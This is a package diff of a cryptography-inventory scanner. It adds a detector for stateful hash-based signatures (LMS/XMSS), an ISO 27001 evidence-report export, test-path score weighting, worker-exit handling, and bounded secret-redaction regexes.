@quantakrypto/core 0.4.1 → 0.4.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +38 -10
- package/dist/agent-types.js.map +1 -1
- package/dist/baseline.js.map +1 -1
- package/dist/cache.js.map +1 -1
- package/dist/cbom.d.ts.map +1 -1
- package/dist/cbom.js +13 -4
- package/dist/cbom.js.map +1 -1
- package/dist/changed.js.map +1 -1
- package/dist/codemods/config-toggle.js.map +1 -1
- package/dist/codemods/registry.js.map +1 -1
- package/dist/comments.d.ts +26 -0
- package/dist/comments.d.ts.map +1 -1
- package/dist/comments.js +141 -1
- package/dist/comments.js.map +1 -1
- package/dist/config.js.map +1 -1
- package/dist/cwe.js.map +1 -1
- package/dist/dependencies.d.ts +3 -2
- package/dist/dependencies.d.ts.map +1 -1
- package/dist/dependencies.js +151 -4
- package/dist/dependencies.js.map +1 -1
- package/dist/detect-utils.d.ts +14 -3
- package/dist/detect-utils.d.ts.map +1 -1
- package/dist/detect-utils.js +32 -4
- package/dist/detect-utils.js.map +1 -1
- package/dist/detectors/c.d.ts.map +1 -1
- package/dist/detectors/c.js +190 -2
- package/dist/detectors/c.js.map +1 -1
- package/dist/detectors/csharp.d.ts.map +1 -1
- package/dist/detectors/csharp.js +141 -3
- package/dist/detectors/csharp.js.map +1 -1
- package/dist/detectors/go.d.ts +5 -3
- package/dist/detectors/go.d.ts.map +1 -1
- package/dist/detectors/go.js +187 -3
- package/dist/detectors/go.js.map +1 -1
- package/dist/detectors/java.d.ts.map +1 -1
- package/dist/detectors/java.js +168 -3
- package/dist/detectors/java.js.map +1 -1
- package/dist/detectors/pem.d.ts.map +1 -1
- package/dist/detectors/pem.js +49 -1
- package/dist/detectors/pem.js.map +1 -1
- package/dist/detectors/python.d.ts.map +1 -1
- package/dist/detectors/python.js +74 -3
- package/dist/detectors/python.js.map +1 -1
- package/dist/detectors/ruby.d.ts +9 -5
- package/dist/detectors/ruby.d.ts.map +1 -1
- package/dist/detectors/ruby.js +122 -2
- package/dist/detectors/ruby.js.map +1 -1
- package/dist/detectors/rust.d.ts +8 -3
- package/dist/detectors/rust.d.ts.map +1 -1
- package/dist/detectors/rust.js +185 -3
- package/dist/detectors/rust.js.map +1 -1
- package/dist/detectors/source.d.ts.map +1 -1
- package/dist/detectors/source.js +131 -13
- package/dist/detectors/source.js.map +1 -1
- package/dist/detectors/stateful-hbs.d.ts +22 -0
- package/dist/detectors/stateful-hbs.d.ts.map +1 -0
- package/dist/detectors/stateful-hbs.js +139 -0
- package/dist/detectors/stateful-hbs.js.map +1 -0
- package/dist/errors.js.map +1 -1
- package/dist/evidence.d.ts +48 -0
- package/dist/evidence.d.ts.map +1 -0
- package/dist/evidence.js +76 -0
- package/dist/evidence.js.map +1 -0
- package/dist/index.d.ts +4 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +4 -2
- package/dist/index.js.map +1 -1
- package/dist/inventory.d.ts +2 -0
- package/dist/inventory.d.ts.map +1 -1
- package/dist/inventory.js +27 -1
- package/dist/inventory.js.map +1 -1
- package/dist/parallel.js +15 -0
- package/dist/parallel.js.map +1 -1
- package/dist/patch-policy.js.map +1 -1
- package/dist/redact.d.ts.map +1 -1
- package/dist/redact.js +122 -7
- package/dist/redact.js.map +1 -1
- package/dist/registry.d.ts +2 -2
- package/dist/registry.d.ts.map +1 -1
- package/dist/registry.js +4 -2
- package/dist/registry.js.map +1 -1
- package/dist/remediate-pipeline.d.ts +3 -0
- package/dist/remediate-pipeline.d.ts.map +1 -1
- package/dist/remediate-pipeline.js +50 -0
- package/dist/remediate-pipeline.js.map +1 -1
- package/dist/remediate-request.js.map +1 -1
- package/dist/remediation.d.ts +9 -3
- package/dist/remediation.d.ts.map +1 -1
- package/dist/remediation.js +33 -6
- package/dist/remediation.js.map +1 -1
- package/dist/report.d.ts +9 -0
- package/dist/report.d.ts.map +1 -1
- package/dist/report.js +31 -0
- package/dist/report.js.map +1 -1
- package/dist/scan-worker.js.map +1 -1
- package/dist/scan.d.ts.map +1 -1
- package/dist/scan.js +16 -2
- package/dist/scan.js.map +1 -1
- package/dist/severity.js.map +1 -1
- package/dist/triage.js.map +1 -1
- package/dist/types.d.ts +8 -1
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/dist/verify.js.map +1 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/dist/version.js.map +1 -1
- package/dist/walk.js.map +1 -1
- package/dist/worktree.d.ts.map +1 -1
- package/dist/worktree.js +10 -1
- package/dist/worktree.js.map +1 -1
- package/package.json +1 -1
- package/src/cbom.ts +13 -4
- package/src/comments.ts +140 -1
- package/src/dependencies.ts +156 -6
- package/src/detect-utils.ts +33 -4
- package/src/detectors/c.ts +202 -2
- package/src/detectors/csharp.ts +154 -3
- package/src/detectors/go.ts +209 -6
- package/src/detectors/java.ts +189 -3
- package/src/detectors/pem.ts +53 -1
- package/src/detectors/python.ts +82 -3
- package/src/detectors/ruby.ts +138 -7
- package/src/detectors/rust.ts +211 -7
- package/src/detectors/source.ts +163 -12
- package/src/detectors/stateful-hbs.ts +177 -0
- package/src/evidence.ts +124 -0
- package/src/index.ts +5 -1
- package/src/inventory.ts +31 -1
- package/src/parallel.ts +15 -0
- package/src/redact.ts +125 -8
- package/src/registry.ts +4 -2
- package/src/remediate-pipeline.ts +55 -0
- package/src/remediation.ts +41 -9
- package/src/report.ts +41 -2
- package/src/scan.ts +21 -2
- package/src/types.ts +8 -1
- package/src/version.ts +1 -1
- package/src/worktree.ts +9 -1
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Config / source-agnostic detector: stateful hash-based signatures
|
|
3
|
+
* (NIST SP 800-208) — LMS, HSS, XMSS and XMSSMT.
|
|
4
|
+
*
|
|
5
|
+
* These schemes ARE quantum-safe and NIST-approved (SP 800-208, for firmware /
|
|
6
|
+
* secure-boot signing), so this is NOT a "broken crypto" finding. The hazard it
|
|
7
|
+
* flags is STATE MANAGEMENT: each private key holds a bounded set of one-time
|
|
8
|
+
* key indices, and reusing an index is catastrophic (it enables signature
|
|
9
|
+
* forgery). The detector therefore surfaces the usage so a reviewer can confirm
|
|
10
|
+
* rigorous state handling exists — or migrate to a stateless scheme.
|
|
11
|
+
*
|
|
12
|
+
* Like {@link pemDetector}, this is a `scope: "config"`, `language: "any"`
|
|
13
|
+
* detector that runs on every text file, because the distinctive LMS/XMSS
|
|
14
|
+
* parameter strings and library tokens (`LMS_SHA256_M32_H10`, `pyhsslms`,
|
|
15
|
+
* `XMSS-SHA2_10_256`, …) appear identically across languages, config, and docs.
|
|
16
|
+
* Every rule's metadata lives in the {@link RuleMeta} declaration below; the
|
|
17
|
+
* regexes are tightly bounded and `\b`-anchored to stay high-signal.
|
|
18
|
+
*/
|
|
19
|
+
import type { Detector, Finding, RuleMeta } from "../types.js";
|
|
20
|
+
import { eachMatch, findingFromRule } from "../detect-utils.js";
|
|
21
|
+
import { CWE_RISKY_PRIMITIVE } from "../cwe.js";
|
|
22
|
+
|
|
23
|
+
/**
|
|
24
|
+
* Shared remediation for every stateful-HBS finding: these are approved but
|
|
25
|
+
* STATEFUL, so the reviewer must confirm state management before trusting them.
|
|
26
|
+
*/
|
|
27
|
+
const STATEFUL_HBS_REMEDIATION =
|
|
28
|
+
"LMS/HSS/XMSS/XMSSMT are NIST-approved (SP 800-208) but STATEFUL: the signer " +
|
|
29
|
+
"must NEVER reuse a one-time key index (reuse enables signature forgery). Use " +
|
|
30
|
+
"only with rigorous, crash-safe state management; otherwise prefer the " +
|
|
31
|
+
"stateless ML-DSA (FIPS 204) or SLH-DSA (FIPS 205).";
|
|
32
|
+
|
|
33
|
+
/** A stateful-HBS rule: its catalog metadata plus the token regex that triggers it. */
|
|
34
|
+
interface HbsRule {
|
|
35
|
+
/** Global regex matching the distinctive token. */
|
|
36
|
+
re: RegExp;
|
|
37
|
+
meta: RuleMeta;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const HBS_RULES: HbsRule[] = [
|
|
41
|
+
{
|
|
42
|
+
// LMS parameter set, e.g. LMS_SHA256_M32_H10 (RFC 8554 / SP 800-208).
|
|
43
|
+
re: /\bLMS_SHA256_[MN]\d+_[HW]\d+\b/g,
|
|
44
|
+
meta: {
|
|
45
|
+
id: "stateful-hbs-lms-param",
|
|
46
|
+
title: "LMS parameter set (stateful hash-based signature)",
|
|
47
|
+
description: "LMS/HSS one-time-signature parameter string (SP 800-208)",
|
|
48
|
+
category: "signature",
|
|
49
|
+
severity: "medium",
|
|
50
|
+
confidence: "high",
|
|
51
|
+
algorithm: "unknown",
|
|
52
|
+
hndl: false,
|
|
53
|
+
cwe: CWE_RISKY_PRIMITIVE,
|
|
54
|
+
message:
|
|
55
|
+
"LMS parameter set — NIST-approved (SP 800-208) but STATEFUL: reusing a one-time key index is catastrophic.",
|
|
56
|
+
remediation: STATEFUL_HBS_REMEDIATION,
|
|
57
|
+
},
|
|
58
|
+
},
|
|
59
|
+
{
|
|
60
|
+
// HSS keygen (hierarchical LMS), e.g. pyhsslms.hss_generate_private_key(...).
|
|
61
|
+
re: /\bhss_generate_private_key\b/g,
|
|
62
|
+
meta: {
|
|
63
|
+
id: "stateful-hbs-hss-keygen",
|
|
64
|
+
title: "HSS private-key generation (stateful hash-based signature)",
|
|
65
|
+
description: "HSS (hierarchical LMS) private-key generation call (SP 800-208)",
|
|
66
|
+
category: "signature",
|
|
67
|
+
severity: "medium",
|
|
68
|
+
confidence: "high",
|
|
69
|
+
algorithm: "unknown",
|
|
70
|
+
hndl: false,
|
|
71
|
+
cwe: CWE_RISKY_PRIMITIVE,
|
|
72
|
+
message:
|
|
73
|
+
"HSS private-key generation — NIST-approved (SP 800-208) but STATEFUL: never reuse a one-time key index.",
|
|
74
|
+
remediation: STATEFUL_HBS_REMEDIATION,
|
|
75
|
+
},
|
|
76
|
+
},
|
|
77
|
+
{
|
|
78
|
+
// pyhsslms — the Python LMS/HSS library import token.
|
|
79
|
+
re: /\bpyhsslms\b/g,
|
|
80
|
+
meta: {
|
|
81
|
+
id: "stateful-hbs-pyhsslms",
|
|
82
|
+
title: "pyhsslms library (stateful LMS/HSS signatures)",
|
|
83
|
+
description: "Reference to the pyhsslms LMS/HSS library (SP 800-208)",
|
|
84
|
+
category: "signature",
|
|
85
|
+
severity: "medium",
|
|
86
|
+
confidence: "high",
|
|
87
|
+
algorithm: "unknown",
|
|
88
|
+
hndl: false,
|
|
89
|
+
cwe: CWE_RISKY_PRIMITIVE,
|
|
90
|
+
message:
|
|
91
|
+
"pyhsslms (LMS/HSS) — NIST-approved (SP 800-208) but STATEFUL: the signer must never reuse a one-time key index.",
|
|
92
|
+
remediation: STATEFUL_HBS_REMEDIATION,
|
|
93
|
+
},
|
|
94
|
+
},
|
|
95
|
+
{
|
|
96
|
+
// XMSS parameter set, e.g. XMSS-SHA2_10_256 (RFC 8391 / SP 800-208).
|
|
97
|
+
re: /\bXMSS-SHA2_\d+_256\b/g,
|
|
98
|
+
meta: {
|
|
99
|
+
id: "stateful-hbs-xmss-param",
|
|
100
|
+
title: "XMSS parameter set (stateful hash-based signature)",
|
|
101
|
+
description: "XMSS one-time-signature parameter string (SP 800-208)",
|
|
102
|
+
category: "signature",
|
|
103
|
+
severity: "medium",
|
|
104
|
+
confidence: "high",
|
|
105
|
+
algorithm: "unknown",
|
|
106
|
+
hndl: false,
|
|
107
|
+
cwe: CWE_RISKY_PRIMITIVE,
|
|
108
|
+
message:
|
|
109
|
+
"XMSS parameter set — NIST-approved (SP 800-208) but STATEFUL: reusing a one-time key index is catastrophic.",
|
|
110
|
+
remediation: STATEFUL_HBS_REMEDIATION,
|
|
111
|
+
},
|
|
112
|
+
},
|
|
113
|
+
{
|
|
114
|
+
// XMSSMT (multi-tree XMSS) parameter set, e.g. XMSSMT-SHA2_20/2_256.
|
|
115
|
+
re: /\bXMSSMT-SHA2_\d+\b/g,
|
|
116
|
+
meta: {
|
|
117
|
+
id: "stateful-hbs-xmssmt-param",
|
|
118
|
+
title: "XMSSMT parameter set (stateful hash-based signature)",
|
|
119
|
+
description: "XMSSMT (multi-tree XMSS) parameter string (SP 800-208)",
|
|
120
|
+
category: "signature",
|
|
121
|
+
severity: "medium",
|
|
122
|
+
confidence: "high",
|
|
123
|
+
algorithm: "unknown",
|
|
124
|
+
hndl: false,
|
|
125
|
+
cwe: CWE_RISKY_PRIMITIVE,
|
|
126
|
+
message:
|
|
127
|
+
"XMSSMT parameter set — NIST-approved (SP 800-208) but STATEFUL: never reuse a one-time key index.",
|
|
128
|
+
remediation: STATEFUL_HBS_REMEDIATION,
|
|
129
|
+
},
|
|
130
|
+
},
|
|
131
|
+
{
|
|
132
|
+
// XMSS keypair generation, e.g. xmss_keypair(...) (liboqs / xmss reference).
|
|
133
|
+
re: /\bxmss_keypair\b/g,
|
|
134
|
+
meta: {
|
|
135
|
+
id: "stateful-hbs-xmss-keypair",
|
|
136
|
+
title: "XMSS keypair generation (stateful hash-based signature)",
|
|
137
|
+
description: "XMSS keypair-generation call (SP 800-208)",
|
|
138
|
+
category: "signature",
|
|
139
|
+
severity: "medium",
|
|
140
|
+
confidence: "high",
|
|
141
|
+
algorithm: "unknown",
|
|
142
|
+
hndl: false,
|
|
143
|
+
cwe: CWE_RISKY_PRIMITIVE,
|
|
144
|
+
message:
|
|
145
|
+
"XMSS keypair generation — NIST-approved (SP 800-208) but STATEFUL: the signer must never reuse a one-time key index.",
|
|
146
|
+
remediation: STATEFUL_HBS_REMEDIATION,
|
|
147
|
+
},
|
|
148
|
+
},
|
|
149
|
+
];
|
|
150
|
+
|
|
151
|
+
/** Detects stateful hash-based signature (SP 800-208) usage in arbitrary files. */
|
|
152
|
+
export const statefulHbsDetector: Detector = {
|
|
153
|
+
id: "stateful-hbs",
|
|
154
|
+
description:
|
|
155
|
+
"Stateful hash-based signatures (NIST SP 800-208: LMS / HSS / XMSS / XMSSMT) in any file",
|
|
156
|
+
scope: "config",
|
|
157
|
+
language: "any",
|
|
158
|
+
rules: HBS_RULES.map((r) => r.meta),
|
|
159
|
+
// Applies to every text file; the walker already filters out binaries.
|
|
160
|
+
appliesTo: () => true,
|
|
161
|
+
detect({ file, content }): Finding[] {
|
|
162
|
+
const findings: Finding[] = [];
|
|
163
|
+
for (const rule of HBS_RULES) {
|
|
164
|
+
eachMatch(rule.re, content, (m) => {
|
|
165
|
+
findings.push(
|
|
166
|
+
findingFromRule(rule.meta, {
|
|
167
|
+
file,
|
|
168
|
+
content,
|
|
169
|
+
index: m.index,
|
|
170
|
+
matchLength: m[0].length,
|
|
171
|
+
}),
|
|
172
|
+
);
|
|
173
|
+
});
|
|
174
|
+
}
|
|
175
|
+
return findings;
|
|
176
|
+
},
|
|
177
|
+
};
|
package/src/evidence.ts
ADDED
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ISO/IEC 27001:2022 Annex A 8.24 evidence-chain export
|
|
3
|
+
* (docs/compliance/iso27001-a8.24-evidence.md).
|
|
4
|
+
*
|
|
5
|
+
* Emits a self-describing readiness report bundling the scan result, crypto
|
|
6
|
+
* inventory, and CycloneDX CBOM, plus an attestation carrying a DETERMINISTIC
|
|
7
|
+
* content hash — the same scan over the same commit + config yields the same
|
|
8
|
+
* hash (the volatile scan timestamp is deliberately excluded from the hashed
|
|
9
|
+
* body). Signing + RFC-3161 timestamping are left to an EXTERNAL, vetted signer
|
|
10
|
+
* (ADR-0004: this project performs no cryptography itself — it orchestrates a
|
|
11
|
+
* signer, it does not implement one). SHA-256 here is an integrity hash (a Node
|
|
12
|
+
* built-in), not an asymmetric primitive.
|
|
13
|
+
*
|
|
14
|
+
* Honesty boundary: this artifact is EVIDENCE for A.8.24, not the control. The
|
|
15
|
+
* organization still owns the cryptography policy, key management, and the
|
|
16
|
+
* conformance judgment. A clean scan is the absence of detected candidates, not
|
|
17
|
+
* proof of quantum-safety (qScan is lexical). See docs/COMPLIANCE.md §3.
|
|
18
|
+
*/
|
|
19
|
+
import { createHash } from "node:crypto";
|
|
20
|
+
|
|
21
|
+
import type { ScanResult } from "./types.js";
|
|
22
|
+
import { toCbom } from "./cbom.js";
|
|
23
|
+
import { VERSION } from "./version.js";
|
|
24
|
+
|
|
25
|
+
/** Stable per-finding record for the evidence body (deterministic per commit). */
|
|
26
|
+
export interface EvidenceFinding {
|
|
27
|
+
ruleId: string;
|
|
28
|
+
algorithm?: string;
|
|
29
|
+
severity: string;
|
|
30
|
+
hndl: boolean;
|
|
31
|
+
file: string;
|
|
32
|
+
line: number;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
export interface ReadinessReport {
|
|
36
|
+
reportType: "quantakrypto-readiness";
|
|
37
|
+
specVersion: 1;
|
|
38
|
+
subject: {
|
|
39
|
+
repository: string | null;
|
|
40
|
+
commit: string | null;
|
|
41
|
+
scannedRoot: string;
|
|
42
|
+
scanTimeUtc: string;
|
|
43
|
+
};
|
|
44
|
+
tool: { name: "qScan"; version: string };
|
|
45
|
+
inventory: ScanResult["inventory"];
|
|
46
|
+
findings: EvidenceFinding[];
|
|
47
|
+
cbom: unknown;
|
|
48
|
+
attestation: {
|
|
49
|
+
/** sha256 over the canonicalized deterministic body (excludes scanTimeUtc). */
|
|
50
|
+
contentHash: string;
|
|
51
|
+
/** RFC-3161 / transparency-log token — filled by an external signer. */
|
|
52
|
+
timestamp: null;
|
|
53
|
+
/** Detached signature over `contentHash` — filled by an external signer. */
|
|
54
|
+
signature: null;
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/** Canonical JSON: object keys sorted recursively, so the hash is reproducible. */
|
|
59
|
+
function canonicalize(value: unknown): unknown {
|
|
60
|
+
if (Array.isArray(value)) return value.map(canonicalize);
|
|
61
|
+
if (value && typeof value === "object") {
|
|
62
|
+
const out: Record<string, unknown> = {};
|
|
63
|
+
for (const k of Object.keys(value as Record<string, unknown>).sort()) {
|
|
64
|
+
out[k] = canonicalize((value as Record<string, unknown>)[k]);
|
|
65
|
+
}
|
|
66
|
+
return out;
|
|
67
|
+
}
|
|
68
|
+
return value;
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
export interface ReadinessReportOptions {
|
|
72
|
+
/** Repository URL (e.g. from `GITHUB_REPOSITORY`); omitted → null. */
|
|
73
|
+
repository?: string;
|
|
74
|
+
/** Full commit SHA (e.g. from `GITHUB_SHA`); omitted → null. */
|
|
75
|
+
commit?: string;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
/**
|
|
79
|
+
* Build the A.8.24 readiness report for a scan result. The attestation's
|
|
80
|
+
* `contentHash` covers everything EXCEPT the scan timestamp and the attestation
|
|
81
|
+
* block itself, so re-running the same scan on the same commit is verifiable.
|
|
82
|
+
*/
|
|
83
|
+
export function buildReadinessReport(
|
|
84
|
+
result: ScanResult,
|
|
85
|
+
opts: ReadinessReportOptions = {},
|
|
86
|
+
): ReadinessReport {
|
|
87
|
+
const findings: EvidenceFinding[] = result.findings.map((f) => ({
|
|
88
|
+
ruleId: f.ruleId,
|
|
89
|
+
...(f.algorithm ? { algorithm: f.algorithm } : {}),
|
|
90
|
+
severity: f.severity,
|
|
91
|
+
hndl: f.hndl,
|
|
92
|
+
file: f.location.file,
|
|
93
|
+
line: f.location.line,
|
|
94
|
+
}));
|
|
95
|
+
|
|
96
|
+
// The CBOM is a deterministic *view* of the (hashed) findings + inventory, but
|
|
97
|
+
// its CycloneDX envelope carries a volatile timestamp/serial — so it is
|
|
98
|
+
// EXCLUDED from the hashed body (its integrity follows from its hashed inputs)
|
|
99
|
+
// to keep the content hash reproducible across scan runs on the same commit.
|
|
100
|
+
const hashableBody = {
|
|
101
|
+
reportType: "quantakrypto-readiness",
|
|
102
|
+
specVersion: 1,
|
|
103
|
+
subject: {
|
|
104
|
+
repository: opts.repository ?? null,
|
|
105
|
+
commit: opts.commit ?? null,
|
|
106
|
+
scannedRoot: result.root,
|
|
107
|
+
},
|
|
108
|
+
tool: { name: "qScan", version: VERSION },
|
|
109
|
+
inventory: result.inventory,
|
|
110
|
+
findings,
|
|
111
|
+
};
|
|
112
|
+
const contentHash =
|
|
113
|
+
"sha256:" +
|
|
114
|
+
createHash("sha256")
|
|
115
|
+
.update(JSON.stringify(canonicalize(hashableBody)))
|
|
116
|
+
.digest("hex");
|
|
117
|
+
|
|
118
|
+
return {
|
|
119
|
+
...hashableBody,
|
|
120
|
+
subject: { ...hashableBody.subject, scanTimeUtc: result.finishedAt },
|
|
121
|
+
cbom: toCbom(result),
|
|
122
|
+
attestation: { contentHash, timestamp: null, signature: null },
|
|
123
|
+
} as ReadinessReport;
|
|
124
|
+
}
|
package/src/index.ts
CHANGED
|
@@ -104,12 +104,15 @@ export { vulnerableDependencies, DEP_VULNERABLE_RULE, isManifestFile } from "./d
|
|
|
104
104
|
export { SEVERITY_ORDER, severityRank, meetsThreshold, sarifLevel } from "./severity.js";
|
|
105
105
|
|
|
106
106
|
// Reporters.
|
|
107
|
-
export { toSarif, toJson, formatSummary } from "./report.js";
|
|
107
|
+
export { toSarif, toJson, formatSummary, formatTierGuidance } from "./report.js";
|
|
108
108
|
export type { ReportOptions } from "./report.js";
|
|
109
109
|
|
|
110
110
|
// CycloneDX 1.6 cryptographic bill of materials (CBOM) export.
|
|
111
111
|
export { toCbom } from "./cbom.js";
|
|
112
112
|
export type { CycloneDxBom, CbomComponent } from "./cbom.js";
|
|
113
|
+
// ISO/IEC 27001 A.8.24 evidence-chain readiness report.
|
|
114
|
+
export { buildReadinessReport } from "./evidence.js";
|
|
115
|
+
export type { ReadinessReport, EvidenceFinding, ReadinessReportOptions } from "./evidence.js";
|
|
113
116
|
|
|
114
117
|
// Remediation lookup (family + tier-aware) and stateful-HBS guidance.
|
|
115
118
|
export {
|
|
@@ -117,6 +120,7 @@ export {
|
|
|
117
120
|
remediationForTier,
|
|
118
121
|
TIER_PARAMS,
|
|
119
122
|
STATEFUL_HBS_NOTE,
|
|
123
|
+
PQC_TRANSITION_NOTE,
|
|
120
124
|
statefulHbsApplies,
|
|
121
125
|
} from "./remediation.js";
|
|
122
126
|
export type { SecurityTier } from "./remediation.js";
|
package/src/inventory.ts
CHANGED
|
@@ -36,6 +36,34 @@ function penaltyFor(weight: number, occurrence: number): number {
|
|
|
36
36
|
/** Decay constant for the readiness score (larger = more forgiving). */
|
|
37
37
|
const SCORE_SCALE = 100;
|
|
38
38
|
|
|
39
|
+
/**
|
|
40
|
+
* Fraction of the normal penalty a finding in test/fixture/example/doc code
|
|
41
|
+
* contributes to the readiness score. Such findings are almost always test
|
|
42
|
+
* vectors, sample keys, or the library's own algorithm enumerations — accurate
|
|
43
|
+
* detections, but not the deployed crypto whose migration the score is meant to
|
|
44
|
+
* track. Real-repo runs showed 60–77% of findings live in these paths, which
|
|
45
|
+
* dragged the score of no-real-crypto codebases down unfairly. They still appear
|
|
46
|
+
* in the inventory counts in full; only their *score* weight is reduced.
|
|
47
|
+
*/
|
|
48
|
+
const TEST_PATH_WEIGHT = 0.15;
|
|
49
|
+
|
|
50
|
+
/** True when a finding's file path is test / fixture / example / documentation. */
|
|
51
|
+
export function isTestOrFixturePath(file: string): boolean {
|
|
52
|
+
const f = file.toLowerCase().replace(/\\/g, "/");
|
|
53
|
+
if (
|
|
54
|
+
/(?:^|\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\//.test(
|
|
55
|
+
f,
|
|
56
|
+
)
|
|
57
|
+
) {
|
|
58
|
+
return true;
|
|
59
|
+
}
|
|
60
|
+
const base = f.slice(f.lastIndexOf("/") + 1);
|
|
61
|
+
if (/(?:^|[_.-])(?:test|spec)\.[a-z0-9]+$/.test(base)) return true; // test.go, foo_test.go, foo.test.ts
|
|
62
|
+
if (/^test_[^/]+\.py$/.test(base)) return true; // python test_foo.py
|
|
63
|
+
if (/^changelog/.test(base) || /\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base)) return true;
|
|
64
|
+
return false;
|
|
65
|
+
}
|
|
66
|
+
|
|
39
67
|
/**
|
|
40
68
|
* Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
|
|
41
69
|
* found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
|
|
@@ -58,7 +86,9 @@ export function readinessScore(findings: Finding[]): number {
|
|
|
58
86
|
let penalty = 0;
|
|
59
87
|
for (const f of findings) {
|
|
60
88
|
seen[f.severity] += 1;
|
|
61
|
-
|
|
89
|
+
const weight =
|
|
90
|
+
SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);
|
|
91
|
+
penalty += penaltyFor(weight, seen[f.severity]);
|
|
62
92
|
}
|
|
63
93
|
|
|
64
94
|
return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));
|
package/src/parallel.ts
CHANGED
|
@@ -312,9 +312,14 @@ function runPool(
|
|
|
312
312
|
signal.addEventListener("abort", onAbort, { once: true });
|
|
313
313
|
}
|
|
314
314
|
|
|
315
|
+
// Workers we intentionally terminate (no more chunks / on cleanup). Their
|
|
316
|
+
// `exit` event is expected and must NOT be treated as a crash.
|
|
317
|
+
const retired = new WeakSet<NodeWorker>();
|
|
318
|
+
|
|
315
319
|
const dispatch = (w: NodeWorker): void => {
|
|
316
320
|
if (failed) return;
|
|
317
321
|
if (next >= chunks.length) {
|
|
322
|
+
retired.add(w);
|
|
318
323
|
void w.terminate();
|
|
319
324
|
return;
|
|
320
325
|
}
|
|
@@ -358,6 +363,16 @@ function runPool(
|
|
|
358
363
|
reject(err);
|
|
359
364
|
}
|
|
360
365
|
});
|
|
366
|
+
// A worker that dies WITHOUT an `error` or `message` (e.g. a `process.exit`
|
|
367
|
+
// in loaded code) would otherwise leave the pool pending forever. Reject so
|
|
368
|
+
// scanParallel falls back to the serial path (audit: arch #5). Expected
|
|
369
|
+
// exits (retired workers, post-completion cleanup) are ignored.
|
|
370
|
+
w.on("exit", (code) => {
|
|
371
|
+
if (failed || retired.has(w) || done === chunks.length) return;
|
|
372
|
+
failed = true;
|
|
373
|
+
cleanup();
|
|
374
|
+
reject(new Error(`scan worker exited early (code ${code}) before completing its chunk`));
|
|
375
|
+
});
|
|
361
376
|
return w;
|
|
362
377
|
};
|
|
363
378
|
|
package/src/redact.ts
CHANGED
|
@@ -12,22 +12,139 @@ import type { ContextLevel, RedactedContext } from "./agent-types.js";
|
|
|
12
12
|
/** Lines of context on each side of the match at `snippet` level. */
|
|
13
13
|
const SNIPPET_RADIUS = 8;
|
|
14
14
|
|
|
15
|
+
/** The placeholder that replaces any redacted secret. */
|
|
16
|
+
const REDACTED = "«redacted-secret»";
|
|
17
|
+
|
|
15
18
|
/**
|
|
16
|
-
*
|
|
17
|
-
*
|
|
19
|
+
* Text longer than this is not scanned pattern-by-pattern — we fail CLOSED
|
|
20
|
+
* (redact the whole thing). Bounds worst-case work and sidesteps any engine
|
|
21
|
+
* limit on pathological single-token runs.
|
|
18
22
|
*/
|
|
19
|
-
const
|
|
20
|
-
/-----BEGIN [A-Z0-9 ]+-----[\s\S]*?-----END [A-Z0-9 ]+-----|[A-Za-z0-9+/]{120,}={0,2}/g;
|
|
23
|
+
const MAX_SECRET_SCAN = 2_000_000;
|
|
21
24
|
|
|
22
|
-
|
|
25
|
+
/**
|
|
26
|
+
* High-signal secret shapes. EVERY quantifier has an explicit upper bound so
|
|
27
|
+
* matching stays linear — no catastrophic backtracking and no regex-engine
|
|
28
|
+
* stack overflow on multi-megabyte runs (both were real DoS vectors with the
|
|
29
|
+
* old unbounded `{120,}` / `[\s\S]*?` patterns). Private-key BLOCKS are handled
|
|
30
|
+
* separately, line-by-line, so a truncated key (missing `-----END-----`) is
|
|
31
|
+
* still caught.
|
|
32
|
+
*/
|
|
33
|
+
const TOKEN_PATTERNS: readonly RegExp[] = [
|
|
34
|
+
/\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/g, // AWS access key id
|
|
35
|
+
/\bgh[posru]_[A-Za-z0-9]{20,255}\b/g, // GitHub token
|
|
36
|
+
/\bgithub_pat_[A-Za-z0-9_]{20,255}\b/g, // GitHub fine-grained PAT
|
|
37
|
+
/\bxox[baprs]-[A-Za-z0-9-]{10,255}\b/g, // Slack
|
|
38
|
+
/\bsk-(?:proj-)?[A-Za-z0-9_-]{20,255}\b/g, // OpenAI
|
|
39
|
+
/\b[rs]k_live_[A-Za-z0-9]{20,255}\b/g, // Stripe
|
|
40
|
+
/\bAIza[A-Za-z0-9_-]{35}\b/g, // Google API key
|
|
41
|
+
/\bglpat-[A-Za-z0-9_-]{20,255}\b/g, // GitLab PAT
|
|
42
|
+
/\beyJ[A-Za-z0-9_-]{8,4096}\.[A-Za-z0-9_-]{8,4096}\.[A-Za-z0-9_-]{6,4096}\b/g, // JWT
|
|
43
|
+
// Assignment of a secret-looking key (.env / config lines).
|
|
44
|
+
/(?:secret|token|passwd|password|api[_-]?key|access[_-]?key|client[_-]?secret|private[_-]?key)["'`]?\s*[:=]\s*["'`]?[^\s"'`,;]{6,4096}/gi,
|
|
45
|
+
/\b[0-9a-fA-F]{40,4096}\b/g, // long hex run (≥20 bytes)
|
|
46
|
+
/[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
|
|
47
|
+
];
|
|
48
|
+
|
|
49
|
+
/** Shannon entropy of a string, in bits per character. */
|
|
50
|
+
function shannonEntropy(s: string): number {
|
|
51
|
+
